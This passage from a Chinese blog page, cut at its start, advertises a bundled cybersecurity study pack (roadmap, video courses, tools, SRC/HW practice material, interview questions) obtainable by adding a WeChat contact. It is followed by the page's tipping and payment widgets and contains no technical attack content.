一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。

最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。

学习路线图

其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。

相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。

网络安全工具箱

当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。

项目实战

最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-7VqwZkEK-1713401768581)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 12
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值